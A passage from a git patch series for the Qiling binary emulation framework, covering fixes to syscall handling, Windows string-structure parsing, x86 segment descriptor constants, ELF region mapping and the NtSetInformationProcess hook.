Subject: [PATCH 076/103] Handle fds that lack the close_on_exec property --- qiling/os/posix/syscall/unistd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/os/posix/syscall/unistd.py b/qiling/os/posix/syscall/unistd.py index 901199b07..a70e83a28 100644 --- a/qiling/os/posix/syscall/unistd.py +++ b/qiling/os/posix/syscall/unistd.py @@ -615,7 +615,7 @@ def __read_str_array(addr: int) -> Iterator[str]: for i in range(NR_OPEN): f = ql.os.fd[i] - if f and f.close_on_exec and not f.closed: + if f and getattr(f, 'close_on_exec', False) and not f.closed: f.close() ql.os.fd[i] = None From 5db7c5c95401127c3d8d9cc718a2605178c5b86a Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 24 May 2023 14:01:20 +0300 Subject: [PATCH 077/103] Make sure dllscollector script is ran with admin privs --- examples/scripts/dllscollector.bat | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/examples/scripts/dllscollector.bat b/examples/scripts/dllscollector.bat index cd115093e..2b85a83e9 100644 --- a/examples/scripts/dllscollector.bat +++ b/examples/scripts/dllscollector.bat @@ -4,6 +4,13 @@ :: Create the emulated Windows directory structure and registry :: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +:: Test for Admin privileges +NET SESSIONS > NUL 2>&1 +IF %ERRORLEVEL% NEQ 0 ( + ECHO Error: This script requires administrative privileges. + EXIT /B 1 +) + :: Host system directories SET SYSDIR32="%WINDIR%\SysWOW64" SET SYSDIR64="%WINDIR%\System32" From 1947e1c3973c1202b3914df5c03f5466dced61e9 Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 24 May 2023 14:03:06 +0300 Subject: [PATCH 078/103] Patch string utils to allow specifying maxlength --- qiling/os/utils.py | 57 ++++++++++++++++++++++++++++++---------------- 1 file changed, 38 insertions(+), 19 deletions(-) diff --git a/qiling/os/utils.py b/qiling/os/utils.py index 5e7f58ec2..552f38222 100644 --- a/qiling/os/utils.py +++ b/qiling/os/utils.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -16,42 +16,61 @@ # TODO: separate windows-specific implementation from qiling.os.windows.structs import make_unicode_string -class QlOsUtils: +class QlOsUtils: ELLIPSIS_PREF = r'__qlva_' def __init__(self, ql: Qiling): self.ql = ql - @staticmethod - def read_string(ql: Qiling, address: int, terminator: bytes) -> str: - result = bytearray() + def read_string(self, address: int, encoding: str, maxlen: int = 0) -> str: + """Read a null-terminated string from memory. + + Args: + address : starting address + encoding: string encoding to use + maxlen : limit number of characters to read before reaching null terminator, + 0 for unlimited length + + Returns: decoded string + """ + + terminator = '\x00'.encode(encoding) + + data = bytearray() charlen = len(terminator) + strlen = 0 - char = ql.mem.read(address, charlen) + while True: + char = self.ql.mem.read(address, charlen) - while char != terminator: - address += charlen - result += char - char = ql.mem.read(address, charlen) + if char == terminator: + break - return result.decode(errors="ignore") + data += char + strlen += 1 - def read_wstring(self, address: int) -> str: - s = QlOsUtils.read_string(self.ql, address, b'\x00\x00') + if strlen == maxlen: + break - # We need to remove \x00 inside the string. Compares do not work otherwise - s = s.replace("\x00", "") + address += charlen + + s = data.decode(encoding, errors='backslashreplace') self.ql.os.stats.log_string(s) return s - def read_cstring(self, address: int) -> str: - s = QlOsUtils.read_string(self.ql, address, b'\x00') + def read_wstring(self, address: int, maxlen: int = 0) -> str: + """Read a null-terminated wide string from memory. + """ - self.ql.os.stats.log_string(s) + return self.read_string(address, 'utf-16le', maxlen) - return s + def read_cstring(self, address: int, maxlen: int = 0) -> str: + """Read a null-terminated ASCII string from memory. + """ + + return self.read_string(address, 'latin1', maxlen) def read_guid(self, address: int) -> UUID: raw_guid = self.ql.mem.read(address, 16) From 26c2aa4551eb2979517b4e254eb9a1b6026640e2 Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 24 May 2023 14:06:57 +0300 Subject: [PATCH 079/103] Fix PANSI_STRING and PUNICODE_STRING handling --- qiling/os/windows/api.py | 10 +++--- qiling/os/windows/const.py | 4 ++- qiling/os/windows/dlls/ntdll.py | 21 +++++++---- qiling/os/windows/dlls/ntoskrnl.py | 58 +++++++++++++++++------------- qiling/os/windows/structs.py | 6 +++- qiling/os/windows/utils.py | 34 ++++++++++++++++-- 6 files changed, 92 insertions(+), 41 deletions(-) diff --git a/qiling/os/windows/api.py b/qiling/os/windows/api.py index 1960adb8b..2c4587218 100644 --- a/qiling/os/windows/api.py +++ b/qiling/os/windows/api.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -56,8 +56,6 @@ LPCSTR = STRING LPOSVERSIONINFOA = STRING -PANSI_STRING = STRING -PCANSI_STRING = STRING PCNZCH = STRING PCSTR = STRING PCSZ = STRING @@ -68,9 +66,7 @@ LPOSVERSIONINFOW = WSTRING OLECHAR = WSTRING PCNZWCH = WSTRING -PCUNICODE_STRING = WSTRING PCWSTR = WSTRING -PUNICODE_STRING = WSTRING DLGPROC = POINTER DWORD_PTR = POINTER @@ -123,6 +119,10 @@ LPWSAPROTOCOL_INFOA = POINTER LPWSTR = POINTER MSIHANDLE = POINTER +PANSI_STRING = POINTER +PUNICODE_STRING = POINTER +PCANSI_STRING = POINTER +PCUNICODE_STRING = POINTER PACCESS_STATE = POINTER PBOOL = POINTER PBYTE = POINTER diff --git a/qiling/os/windows/const.py b/qiling/os/windows/const.py index 33e85310b..7168edbe3 100644 --- a/qiling/os/windows/const.py +++ b/qiling/os/windows/const.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # from Registry import Registry @@ -35,6 +35,8 @@ STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_INVALID_PARAMETER = 0xC000000D STATUS_INVALID_HANDLE = 0xC0000008 +STATUS_PROCEDURE_NOT_FOUND = 0xC000007A +STATUS_DLL_NOT_FOUND = 0xC0000135 STATUS_PORT_NOT_SET = 0xC0000353 STATUS_NO_YIELD_PERFORMED = 0x40000024 # ... diff --git a/qiling/os/windows/dlls/ntdll.py b/qiling/os/windows/dlls/ntdll.py index 164595496..096473480 100644 --- a/qiling/os/windows/dlls/ntdll.py +++ b/qiling/os/windows/dlls/ntdll.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -15,6 +15,8 @@ from qiling.os.windows.const import * from qiling.os.windows.handle import * from qiling.os.windows import structs +from qiling.os.windows import utils + # void *memcpy( # void *dest, @@ -397,16 +399,21 @@ def hook_LdrGetProcedureAddress(ql: Qiling, address: int, params): if dll_name is None: ql.log.debug(f'Could not find specified handle {ModuleHandle} in loaded DLL') - return 0 + return STATUS_DLL_NOT_FOUND - identifier = bytes(FunctionName, 'ascii') if FunctionName else Ordinal + identifier = utils.read_pansi_string(ql, FunctionName) if FunctionName else Ordinal iat = ql.loader.import_address_table[dll_name] - if identifier in iat: - ql.mem.write_ptr(FunctionAddress, iat[identifier]) - return 0 + if not identifier: + return STATUS_INVALID_PARAMETER + + if identifier not in iat: + return STATUS_PROCEDURE_NOT_FOUND + + ql.mem.write_ptr(FunctionAddress, iat[identifier]) + + return STATUS_SUCCESS - return 0xFFFFFFFF # NTSYSAPI PVOID RtlAllocateHeap( # PVOID HeapHandle, diff --git a/qiling/os/windows/dlls/ntoskrnl.py b/qiling/os/windows/dlls/ntoskrnl.py index 59d49da6d..af6573b90 100644 --- a/qiling/os/windows/dlls/ntoskrnl.py +++ b/qiling/os/windows/dlls/ntoskrnl.py @@ -11,9 +11,11 @@ from qiling.os.windows.const import * from qiling.os.windows.fncc import * from qiling.os.windows.structs import * +from qiling.os.windows import utils from qiling.os.windows.wdk_const import DO_DEVICE_INITIALIZING, DO_EXCLUSIVE from qiling.utils import verify_ret + # NTSYSAPI NTSTATUS RtlGetVersion( # PRTL_OSVERSIONINFOW lpVersionInformation # ); @@ -431,7 +433,9 @@ def hook_ExFreePoolWithTag(ql: Qiling, address: int, params): ql.os.heap.free(addr) -hook_only_routine_address = [b'IoCreateDeviceSecure'] + +hook_only_routine_address = ['IoCreateDeviceSecure'] + # PVOID MmGetSystemRoutineAddress( # PUNICODE_STRING SystemRoutineName @@ -440,31 +444,35 @@ def hook_ExFreePoolWithTag(ql: Qiling, address: int, params): 'SystemRoutineName' : PUNICODE_STRING }) def hook_MmGetSystemRoutineAddress(ql: Qiling, address: int, params): - SystemRoutineName = bytes(params["SystemRoutineName"], 'ascii') - - # check function name in import table - for dll_name in ('ntoskrnl.exe', 'ntkrnlpa.exe', 'hal.dll'): - if dll_name in ql.loader.import_address_table: - if SystemRoutineName in ql.loader.import_address_table[dll_name]: - return ql.loader.import_address_table[dll_name][SystemRoutineName] - - # function not found! - # we check function name in `hook_only_routine_address`. - if SystemRoutineName in hook_only_routine_address: - index = hook_only_routine_address.index(SystemRoutineName) - # found! + SystemRoutineName = params["SystemRoutineName"] + + routine_name = SystemRoutineName and utils.read_punicode_string(ql, SystemRoutineName) + + if routine_name: + # check function name in import table for dll_name in ('ntoskrnl.exe', 'ntkrnlpa.exe', 'hal.dll'): - image = ql.loader.get_image_by_name(dll_name) - - if image: - # create fake address - new_function_address = image.base + index + 1 - # update import address table - ql.loader.import_symbols[new_function_address] = { - 'name': SystemRoutineName, - 'ordinal': -1 - } - return new_function_address + if dll_name in ql.loader.import_address_table: + if routine_name in ql.loader.import_address_table[dll_name]: + return ql.loader.import_address_table[dll_name][routine_name] + + # function not found! + # we check function name in `hook_only_routine_address`. + if routine_name in hook_only_routine_address: + index = hook_only_routine_address.index(routine_name) + # found! + for dll_name in ('ntoskrnl.exe', 'ntkrnlpa.exe', 'hal.dll'): + image = ql.loader.get_image_by_name(dll_name) + + if image: + # create fake address + new_function_address = image.base + index + 1 + # update import address table + ql.loader.import_symbols[new_function_address] = { + 'name': SystemRoutineName.encode(), + 'ordinal': -1 + } + return new_function_address + return 0 # int _wcsnicmp( diff --git a/qiling/os/windows/structs.py b/qiling/os/windows/structs.py index 71aed2d74..56d685fc6 100644 --- a/qiling/os/windows/structs.py +++ b/qiling/os/windows/structs.py @@ -116,7 +116,7 @@ class PEB(Struct): return PEB -# https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string +# https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string @lru_cache(maxsize=2) def make_unicode_string(archbits: int): """Generate a UNICODE_STRING structure class. @@ -135,6 +135,10 @@ class UNICODE_STRING(Struct): return UNICODE_STRING +# https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-string +make_ansi_string = make_unicode_string + + # https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_driver_object def make_driver_object(archbits: int): """Generate a DRIVER_OBJECT structure class. diff --git a/qiling/os/windows/utils.py b/qiling/os/windows/utils.py index d55c965e3..31915c378 100644 --- a/qiling/os/windows/utils.py +++ b/qiling/os/windows/utils.py @@ -3,7 +3,7 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -from typing import Iterable, Tuple, TypeVar +from typing import Iterable, Optional, Tuple, TypeVar from unicorn import UcError @@ -17,6 +17,7 @@ Comparable = TypeVar('Comparable', str, int) + # an alternative to Python2 cmp builtin which no longer exists in Python3 def cmp(a: Comparable, b: Comparable) -> int: return (a > b) - (a < b) @@ -110,7 +111,7 @@ def __free_all(allocations: Iterable[int]) -> None: ql.log.info(f'Executing from {major_func:#x}') try: - # now emulate + # now emulate ql.run(major_func) except UcError as err: verify_ret(ql, err) @@ -124,6 +125,7 @@ def __free_all(allocations: Iterable[int]) -> None: return info + # Emulate DeviceIoControl() of Windows # BOOL DeviceIoControl( # HANDLE hDevice, @@ -264,3 +266,31 @@ def ioctl_code(DeviceType: int, Function: int, Method: int, Access: int) -> int: __free_all(allocations) return status, info, output_data + + +def read_pansi_string(ql: Qiling, ptr: int) -> Optional[str]: + """Read and decode the string referenced by a PANSI_STRING structure. It is + the caller responsibility to make sure the pointer to the structure is accesible. + """ + + astr_obj = make_ansi_string(ql.arch.bits).load_from(ql.mem, ptr) + + if astr_obj.Buffer and astr_obj.Length: + return ql.os.utils.read_cstring(astr_obj.Buffer, maxlen=astr_obj.Length) + + return None + + +def read_punicode_string(ql: Qiling, ptr: int) -> Optional[str]: + """Read and decode the string referenced by a PUNICODE_STRING structure. It is + the caller responsibility to make sure the pointer to the structure is accesible. + """ + + ucstr_obj = make_unicode_string(ql.arch.bits).load_from(ql.mem, ptr) + + if ucstr_obj.Buffer and ucstr_obj.Length: + assert ucstr_obj.Length % 2 == 0, f'wide string size is expected to be a multiplication of 2. got: {ucstr_obj.Length}' + + return ql.os.utils.read_wstring(ucstr_obj.Buffer, maxlen=ucstr_obj.Length // 2) + + return None From 734e23023d4a1030324f1af59dfd77335b8cd45a Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 24 May 2023 18:41:53 +0300 Subject: [PATCH 080/103] Properly report unsupported arch_prctl code values --- qiling/os/posix/syscall/prctl.py | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/qiling/os/posix/syscall/prctl.py b/qiling/os/posix/syscall/prctl.py index c4811a5c6..3cc0e4456 100644 --- a/qiling/os/posix/syscall/prctl.py +++ b/qiling/os/posix/syscall/prctl.py @@ -6,25 +6,35 @@ from qiling import Qiling from qiling.arch.x86_const import IA32_FS_BASE_MSR, IA32_GS_BASE_MSR + def ql_syscall_arch_prctl(ql: Qiling, code: int, addr: int): ARCH_SET_GS = 0x1001 ARCH_SET_FS = 0x1002 ARCH_GET_FS = 0x1003 ARCH_GET_GS = 0x1004 + # # definitions related to Intel CET, they are not commonly supported + # ARCH_CET_STATUS = 0x3001 + # ARCH_CET_DISABLE = 0x3002 + # ARCH_CET_LOCK = 0x3003 + # ARCH_CET_ALLOC_SHSTK = 0x3004 + handlers = { - ARCH_SET_GS : lambda : ql.arch.msr.write(IA32_GS_BASE_MSR, addr), - ARCH_SET_FS : lambda : ql.arch.msr.write(IA32_FS_BASE_MSR, addr), - ARCH_GET_FS : lambda : ql.mem.write_ptr(addr, ql.arch.msr.read(IA32_FS_BASE_MSR), 8), - ARCH_GET_GS : lambda : ql.mem.write_ptr(addr, ql.arch.msr.read(IA32_GS_BASE_MSR), 8) + ARCH_SET_GS: lambda: ql.arch.msr.write(IA32_GS_BASE_MSR, addr), + ARCH_SET_FS: lambda: ql.arch.msr.write(IA32_FS_BASE_MSR, addr), + ARCH_GET_FS: lambda: ql.mem.write_ptr(addr, ql.arch.msr.read(IA32_FS_BASE_MSR), 8), + ARCH_GET_GS: lambda: ql.mem.write_ptr(addr, ql.arch.msr.read(IA32_GS_BASE_MSR), 8) } if code not in handlers: - ql.log.warning(f'prctl code {code:#x} not implemented') - else: - handlers[code]() + ql.log.debug(f'prctl code {code:#x} not implemented') + + return -1 # EINVAL + + handlers[code]() return 0 + def ql_syscall_prctl(ql: Qiling, option: int, arg2: int, arg3: int, arg4: int, arg5: int): return 0 From cf61fe6805fa17c8fa1a21e33c3aee5d3cb89ecc Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 24 May 2023 20:47:43 +0300 Subject: [PATCH 081/103] Correct x86 segment selector and descriptor bits --- qiling/arch/x86_const.py | 52 ++++++++++++++++++++------------------ qiling/arch/x86_utils.py | 18 ++++++------- qiling/os/linux/syscall.py | 4 +-- qiling/os/linux/thread.py | 2 +- 4 files changed, 39 insertions(+), 37 deletions(-) diff --git a/qiling/arch/x86_const.py b/qiling/arch/x86_const.py index d4716ba6e..0bdfe5b46 100644 --- a/qiling/arch/x86_const.py +++ b/qiling/arch/x86_const.py @@ -5,34 +5,38 @@ from unicorn.x86_const import * -QL_X86_F_GRANULARITY = 0x8 -QL_X86_F_PROT_32 = 0x4 -QL_X86_F_LONG = 0x2 -QL_X86_F_AVAILABLE = 0x1 +# segment descriptor bits [47:40] +QL_X86_A_DATA_A = (1 << 0) +QL_X86_A_DATA_W = (1 << 1) +QL_X86_A_DATA_E = (1 << 2) +QL_X86_A_DATA = (0 << 3) -QL_X86_A_PRESENT = 0x80 +QL_X86_A_CODE_A = (1 << 0) +QL_X86_A_CODE_R = (1 << 1) +QL_X86_A_CODE_C = (1 << 2) +QL_X86_A_CODE = (1 << 3) -QL_X86_A_PRIV_3 = 0x60 -QL_X86_A_PRIV_2 = 0x40 -QL_X86_A_PRIV_1 = 0x20 -QL_X86_A_PRIV_0 = 0x0 +QL_X86_A_DESC_SYSTEM = (0 << 4) # S +QL_X86_A_DESC_CODE = (1 << 4) +QL_X86_A_DESC_DATA = (1 << 4) -QL_X86_A_CODE = 0x10 -QL_X86_A_DATA = 0x10 -QL_X86_A_TSS = 0x0 -QL_X86_A_GATE = 0x0 -QL_X86_A_EXEC = 0x8 +QL_X86_A_PRIV_0 = (0b00 << 5) # DPL +QL_X86_A_PRIV_1 = (0b01 << 5) +QL_X86_A_PRIV_2 = (0b10 << 5) +QL_X86_A_PRIV_3 = (0b11 << 5) -QL_X86_A_DATA_WRITABLE = 0x2 -QL_X86_A_CODE_READABLE = 0x2 -QL_X86_A_DIR_CON_BIT = 0x4 +QL_X86_A_PRESENT = (1 << 7) -QL_X86_S_GDT = 0x0 -QL_X86_S_LDT = 0x4 -QL_X86_S_PRIV_3 = 0x3 -QL_X86_S_PRIV_2 = 0x2 -QL_X86_S_PRIV_1 = 0x1 -QL_X86_S_PRIV_0 = 0x0 +# segment descriptor bits [55:52] +QL_X86_F_AVAILABLE = (1 << 0) # AVL +QL_X86_F_LONG = (1 << 1) # L +QL_X86_F_OPSIZE_32 = (1 << 2) # D/B +QL_X86_F_GRANULARITY = (1 << 3) # G + +# segment selector bits +QL_X86_SEGSEL_RPL_MASK = 0b11 +QL_X86_SEGSEL_TI_GDT = (0 << 2) +QL_X86_SEGSEL_TI_LDT = (1 << 2) QL_X86_GDT_ADDR = 0x30000 QL_X86_GDT_LIMIT = 0x1000 @@ -43,8 +47,6 @@ IA32_GS_BASE_MSR = 0xC0000101 IA32_APIC_BASE_MSR = 0x1B -# WINDOWS SETUP VALUE -# Linux also needs these GS_SEGMENT_ADDR = 0x6000000 GS_SEGMENT_SIZE = (20 << 20) # 20 MB diff --git a/qiling/arch/x86_utils.py b/qiling/arch/x86_utils.py index 587477ad7..4726ef745 100644 --- a/qiling/arch/x86_utils.py +++ b/qiling/arch/x86_utils.py @@ -88,12 +88,12 @@ def make_entry(base: int, limit: int, access: int, flags: int) -> bytes: @staticmethod def make_selector(idx: int, rpl: int) -> int: - assert rpl & ~0b11 == 0 + assert rpl & ~QL_X86_SEGSEL_RPL_MASK == 0 - return (idx << 3) | QL_X86_S_GDT | rpl + return (idx << 3) | QL_X86_SEGSEL_TI_GDT | rpl def register_gdt_segment(self, index: int, seg_base: int, seg_limit: int, access: int) -> int: - flags = QL_X86_F_PROT_32 + flags = QL_X86_F_OPSIZE_32 # is this a huge segment? if seg_limit > (1 << 16): @@ -139,7 +139,7 @@ def setup_gs(self, base: int, size: int) -> None: class SegmentManager86(SegmentManager): def setup_cs_ds_ss_es(self, base: int, size: int) -> None: # While debugging the linux kernel segment, the cs segment was found on the third segment of gdt. - access = QL_X86_A_PRESENT | QL_X86_A_CODE | QL_X86_A_CODE_READABLE | QL_X86_A_PRIV_3 | QL_X86_A_EXEC | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_3 | QL_X86_A_DESC_CODE | QL_X86_A_CODE | QL_X86_A_CODE_C | QL_X86_A_CODE_R selector = self.gdtm.register_gdt_segment(3, base, size - 1, access) self.arch.regs.cs = selector @@ -147,7 +147,7 @@ def setup_cs_ds_ss_es(self, base: int, size: int) -> None: # TODO : The section permission here should be QL_X86_A_PRIV_3, but I do n’t know why it can only be set to QL_X86_A_PRIV_0. # While debugging the Linux kernel segment, I found that the three segments DS, SS, and ES all point to the same location in the GDT table. # This position is the fifth segment table of GDT. - access = QL_X86_A_PRESENT | QL_X86_A_DATA | QL_X86_A_DATA_WRITABLE | QL_X86_A_PRIV_0 | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_0 | QL_X86_A_DESC_DATA | QL_X86_A_DATA | QL_X86_A_DATA_E | QL_X86_A_DATA_W selector = self.gdtm.register_gdt_segment(5, base, size - 1, access) self.arch.regs.ds = selector @@ -155,13 +155,13 @@ def setup_cs_ds_ss_es(self, base: int, size: int) -> None: self.arch.regs.es = selector def setup_fs(self, base: int, size: int) -> None: - access = QL_X86_A_PRESENT | QL_X86_A_DATA | QL_X86_A_DATA_WRITABLE | QL_X86_A_PRIV_3 | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_3 | QL_X86_A_DESC_DATA | QL_X86_A_DATA | QL_X86_A_DATA_E | QL_X86_A_DATA_W selector = self.gdtm.register_gdt_segment(14, base, size - 1, access) self.arch.regs.fs = selector def setup_gs(self, base: int, size: int) -> None: - access = QL_X86_A_PRESENT | QL_X86_A_DATA | QL_X86_A_DATA_WRITABLE | QL_X86_A_PRIV_3 | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_3 | QL_X86_A_DESC_DATA | QL_X86_A_DATA | QL_X86_A_DATA_E | QL_X86_A_DATA_W selector = self.gdtm.register_gdt_segment(15, base, size - 1, access) self.arch.regs.gs = selector @@ -170,14 +170,14 @@ def setup_gs(self, base: int, size: int) -> None: class SegmentManager64(SegmentManager): def setup_cs_ds_ss_es(self, base: int, size: int) -> None: # While debugging the linux kernel segment, the cs segment was found on the sixth segment of gdt. - access = QL_X86_A_PRESENT | QL_X86_A_CODE | QL_X86_A_CODE_READABLE | QL_X86_A_PRIV_3 | QL_X86_A_EXEC | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_3 | QL_X86_A_DESC_CODE | QL_X86_A_CODE | QL_X86_A_CODE_C | QL_X86_A_CODE_R selector = self.gdtm.register_gdt_segment(6, base, size - 1, access) self.arch.regs.cs = selector # TODO : The section permission here should be QL_X86_A_PRIV_3, but I do n’t know why it can only be set to QL_X86_A_PRIV_0. # When I debug the Linux kernel, I find that only the SS is set to the fifth segment table, and the rest are not set. - access = QL_X86_A_PRESENT | QL_X86_A_DATA | QL_X86_A_DATA_WRITABLE | QL_X86_A_PRIV_0 | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_0 | QL_X86_A_DESC_DATA | QL_X86_A_DATA | QL_X86_A_DATA_E | QL_X86_A_DATA_W selector = self.gdtm.register_gdt_segment(5, base, size - 1, access) # self.arch.regs.ds = selector diff --git a/qiling/os/linux/syscall.py b/qiling/os/linux/syscall.py index c61951c97..6092eefd0 100644 --- a/qiling/os/linux/syscall.py +++ b/qiling/os/linux/syscall.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -48,7 +48,7 @@ def ql_syscall_set_thread_area(ql: Qiling, u_info_addr: int): index = ql.os.gdtm.get_free_idx(12) if index in (12, 13, 14): - access = QL_X86_A_PRESENT | QL_X86_A_DATA | QL_X86_A_DATA_WRITABLE | QL_X86_A_PRIV_3 | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_3 | QL_X86_A_DESC_DATA | QL_X86_A_DATA | QL_X86_A_DATA_E | QL_X86_A_DATA_W ql.os.gdtm.register_gdt_segment(index, base, limit, access) ql.mem.write_ptr(u_info_addr, index, 4) diff --git a/qiling/os/linux/thread.py b/qiling/os/linux/thread.py index 0c3864bfd..a4162743d 100644 --- a/qiling/os/linux/thread.py +++ b/qiling/os/linux/thread.py @@ -383,7 +383,7 @@ def set_thread_tls(self, tls_addr): index = self.ql.os.gdtm.get_free_idx(12) if index in (12, 13, 14): - access = QL_X86_A_PRESENT | QL_X86_A_DATA | QL_X86_A_DATA_WRITABLE | QL_X86_A_PRIV_3 | QL_X86_A_DIR_CON_BIT + access = QL_X86_A_PRESENT | QL_X86_A_PRIV_3 | QL_X86_A_DESC_DATA | QL_X86_A_DATA | QL_X86_A_DATA_E | QL_X86_A_DATA_W self.ql.os.gdtm.register_gdt_segment(index, base, limit, access) self.ql.mem.write_ptr(tls_addr, index, 4) From 3bd774e23e455e5fec41cb937d766ad76efcf9de Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 28 May 2023 20:52:59 +0300 Subject: [PATCH 082/103] Support the case of a zero size ELF region --- qiling/loader/elf.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/qiling/loader/elf.py b/qiling/loader/elf.py index f3df83b99..c1d3eb970 100644 --- a/qiling/loader/elf.py +++ b/qiling/loader/elf.py @@ -197,12 +197,16 @@ def load_elf_segments(elffile: ELFFile, load_address: int, info: str): # map the memory regions for lbound, ubound, perms in load_regions: - try: - self.ql.mem.map(lbound, ubound - lbound, perms, os.path.basename(info)) - except QlMemoryMappedError: - self.ql.log.exception(f'Failed to map {lbound:#x}-{ubound:#x}') - else: - self.ql.log.debug(f'Mapped {lbound:#x}-{ubound:#x}') + size = ubound - lbound + + # there might be a region with zero size. in this case, do not mmap it + if size: + try: + self.ql.mem.map(lbound, size, perms, os.path.basename(info)) + except QlMemoryMappedError: + self.ql.log.exception(f'Failed to map {lbound:#x}-{ubound:#x}') + else: + self.ql.log.debug(f'Mapped {lbound:#x}-{ubound:#x}') # load loadable segments contents to memory for seg in load_segments: From 2ce9ff5351b46763065762143f4f0592b45c6261 Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 28 May 2023 21:46:22 +0300 Subject: [PATCH 083/103] Fix Windows SetInformationProcess --- qiling/os/windows/dlls/ntdll.py | 50 ++++++++++++++++++--------------- 1 file changed, 27 insertions(+), 23 deletions(-) diff --git a/qiling/os/windows/dlls/ntdll.py b/qiling/os/windows/dlls/ntdll.py index 096473480..b0a6e6352 100644 --- a/qiling/os/windows/dlls/ntdll.py +++ b/qiling/os/windows/dlls/ntdll.py @@ -320,42 +320,38 @@ def hook_NtSetInformationProcess(ql: Qiling, address: int, params): def _SetInformationProcess(ql: Qiling, address: int, params): process = params["ProcessHandle"] flag = params["ProcessInformationClass"] - dst = params["ProcessInformation"] - dst_size = params["ProcessInformationLength"] + ibuf_ptr = params["ProcessInformation"] + ibuf_len = params["ProcessInformationLength"] if flag == ProcessDebugFlags: - value = b"\x01" * 0x4 + flag_name = 'ProcessDebugFlags' + comment = '' + read_len = 4 elif flag == ProcessDebugPort: - value = b"\x00" * 0x4 + flag_name = 'ProcessDebugPort' + comment = '' + read_len = 4 elif flag == ProcessDebugObjectHandle: return STATUS_PORT_NOT_SET elif flag == ProcessBreakOnTermination: - ql.log.debug("The target may be attempting modify a the 'critical' flag of the process") + flag_name = 'ProcessBreakOnTermination' + comment = 'the critical flag of the process' + read_len = 1 # FIXME: is it really a single-byte data? elif flag == ProcessExecuteFlags: - ql.log.debug("The target may be attempting to modify DEP for the process") - - if dst: - ql.mem.write_ptr(dst, 0, 1) + flag_name = 'ProcessExecuteFlags' + comment = 'DEP for the process' + read_len = 1 elif flag == ProcessBasicInformation: - kconf = ql.os.profile['KERNEL'] - pbi_struct = structs.make_process_basic_info(ql.arch.bits) - - pci_obj = pbi_struct( - ExitStatus=0, - PebBaseAddress=ql.loader.TEB.PebAddress, - AffinityMask=0, - BasePriority=0, - UniqueProcessId=kconf.getint('pid'), - InheritedFromUniqueProcessId=kconf.getint('parent_pid') - ) + flag_name = 'ProcessBasicInformation' + comment = 'PEB debug flag for the process' - ql.log.debug("The target may be attempting to modify the PEB debug flag") - value = bytes(pbi_obj) + pbi_struct = structs.make_process_basic_info(ql.arch.bits) + read_len = pbi_struct.sizeof() else: # TODO: support more info class ("flag") values @@ -363,7 +359,15 @@ def _SetInformationProcess(ql: Qiling, address: int, params): return STATUS_UNSUCCESSFUL - # TODO: value is never used after assignment + if ibuf_len >= read_len: + data = (ql.mem.read_ptr if read_len in (1, 2, 4, 8) else ql.mem.read)(ibuf_ptr, read_len) + + ql.log.debug(f'SetInformationProcess: {flag_name} was set to {data}') + + if comment: + ql.log.debug(f'The target may be attempting modify {comment}') + + # NOTE: we don't actually change anything return STATUS_SUCCESS From 0617213eed185603b1aa2d88851f4ee624495201 Mon Sep 17 00:00:00 2001 From: river-li Date: Mon, 29 May 2023 15:34:40 +0800 Subject: [PATCH 084/103] Add qltui.py --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 5987a8076..855807588 100644 --- a/setup.py +++ b/setup.py @@ -90,7 +90,7 @@ keywords='qiling binary emulator framework malware analysis UEFI IoT', packages=find_packages(), - scripts=['qltool'], + scripts=['qltool', 'qltui.py'], package_data={ 'qiling': ['profiles/*.ql'], 'qiling.debugger.gdb': ['xml/*/*'], From df329e8afb9098071c26f1aa9f0ebe6d81113019 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 29 May 2023 11:38:56 +0300 Subject: [PATCH 085/103] Fix typo --- qiling/os/windows/dlls/ntdll.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/os/windows/dlls/ntdll.py b/qiling/os/windows/dlls/ntdll.py index b0a6e6352..92ba4a84b 100644 --- a/qiling/os/windows/dlls/ntdll.py +++ b/qiling/os/windows/dlls/ntdll.py @@ -70,7 +70,7 @@ def _QueryInformationProcess(ql: Qiling, address: int, params): else: # TODO: support more info class ("flag") values - 